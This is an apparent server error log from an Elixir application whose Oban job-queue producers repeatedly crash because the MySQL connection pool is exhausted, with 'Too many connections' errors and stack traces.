    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-03 05:42:42.460651Z], limit: 10, uuid: "618a380a-ccf9-4349-af2e-9b1fb06eca57", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:34:00.102405Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.231318>, refresh_timer: #Reference<0.2525715032.1099169794.231140>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:34:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-03 05:42:42.462687Z], limit: 20, uuid: "f640af87-0e75-4cf0-8ebe-e786eacbff77", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:33:50.096357Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.231317>, refresh_timer: #Reference<0.2525715032.1099169794.229767>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:34:21.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-03 05:42:31.239141Z], limit: 50, uuid: "2d935716-c858-4f13-a399-5bec2026273d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:33:47.126798Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.231321>, refresh_timer: #Reference<0.2525715032.1099169794.229272>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:34:23.089000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:28.188000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:30.775000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:32.479000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:33.642000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:36.057000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:38.828000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:40.597000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:41.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:44.647000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:46.467000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:34:48.676000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:51.468000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:34:54.446000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:55.569000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:34:55.570000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:56.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:58.140000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:58.503000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:59.082000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:01.672000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:01.845000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:02.169000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:35:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:34:21.239359Z], limit: 5, uuid: "72c731b6-3637-4e9d-8aad-a3e5df99f255", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:34:45.156379Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.234265>, refresh_timer: #Reference<0.2525715032.1099169794.234158>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:03.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:34:21.239852Z], limit: 3, uuid: "4a16f059-342d-4ab1-b033-1d1c306ccb56", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:34:47.440372Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.234268>, refresh_timer: #Reference<0.2525715032.1099169794.234193>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:34:21.240128Z], limit: 10, uuid: "b4e804a4-91ca-4d9e-80e1-4602b9e41ed8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:34:49.951361Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.234264>, refresh_timer: #Reference<0.2525715032.1099169794.234238>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:34:21.240174Z], limit: 50, uuid: "98ae09df-3132-4390-835d-a38e8ff3cf26", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:34:50.801520Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.234267>, refresh_timer: #Reference<0.2525715032.1099169794.234241>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
